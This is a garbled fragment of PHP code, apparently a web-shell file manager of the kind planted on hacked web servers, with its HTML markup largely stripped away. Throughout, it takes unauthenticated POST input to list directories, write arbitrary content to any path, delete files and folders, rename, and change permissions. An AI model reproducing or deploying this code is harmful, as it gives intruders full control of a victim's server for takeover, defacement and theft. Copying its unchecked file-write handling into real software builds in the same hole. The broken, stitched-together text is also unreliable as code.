| '.$dir.' | |||
| '.$file.' | |||
| Path : ';
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '/';
continue;
}
if($pat == '') continue;
echo ''.$pat.'/';
if(function_exists('opendir')) {
if($opendir = opendir($path)) {
while(($readdir = readdir($opendir)) !== false) {
$scandir[] = $readdir;
}
closedir($opendir);
}
sort($scandir);
} else {
$scandir = scandir($path);
}
}
?>
";
$status = "Directory Saved!";
echo "";
}
if($_POST['code'] && $_POST['path']){
$a = $_POST['code'];
$file = @fopen($_POST['path'].'/'.$_POST['file'],'w');
@fwrite($file,$a); @fclose($file);
echo " ";
$status = "File Created!";
echo " ";
}else{
}
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo "";
$status = 'Deleted!';
echo " ";
}else{
echo "";
$status = "Error!";
echo " ";
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo "";
$status = 'Deleted!';
echo " ";
}else{
echo "";
$status = 'Error!';
echo " ";
}
}
}
if(isset($_POST['path']) && isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
$status = 'Renamed! ';
}else{
$status = 'Error!';
}}
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo "";
$status = 'Saved!';
echo " ";
}else{
echo "";
$status = 'Error!';
echo " ";
}
fclose($fp);
}?>
";
echo "Status: $status";
echo "";
}
}else{
if(!empty($status)){
echo "";
echo "Status: $status";
echo " ";
}
}
echo "";
if(isset($_POST["path"]) && $_POST["newf"] == "folder"){
echo '';
}
if($_POST["path"] && $_POST["opt"] == "chmod"){
$chmodper = $_POST["chmodper"];
echo '';
}
if($_POST['opt'] == 'rename'){
if($_POST["name"] == ""){
$_POST["name"] = $_POST["newname"];
}
echo '';
echo ""; }else{} ?> |
| $status;?> |
| '.$dir.' | |||
| '.$file.' | |||